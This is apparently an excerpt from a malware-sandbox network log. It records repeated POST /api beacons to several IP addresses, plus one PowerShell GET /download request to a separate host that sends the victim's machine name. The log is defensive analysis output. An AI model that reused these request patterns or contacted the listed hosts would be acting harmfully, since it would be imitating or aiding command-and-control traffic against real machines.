Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: GET /download?name=user-PC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 185.196.10.235:50001Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
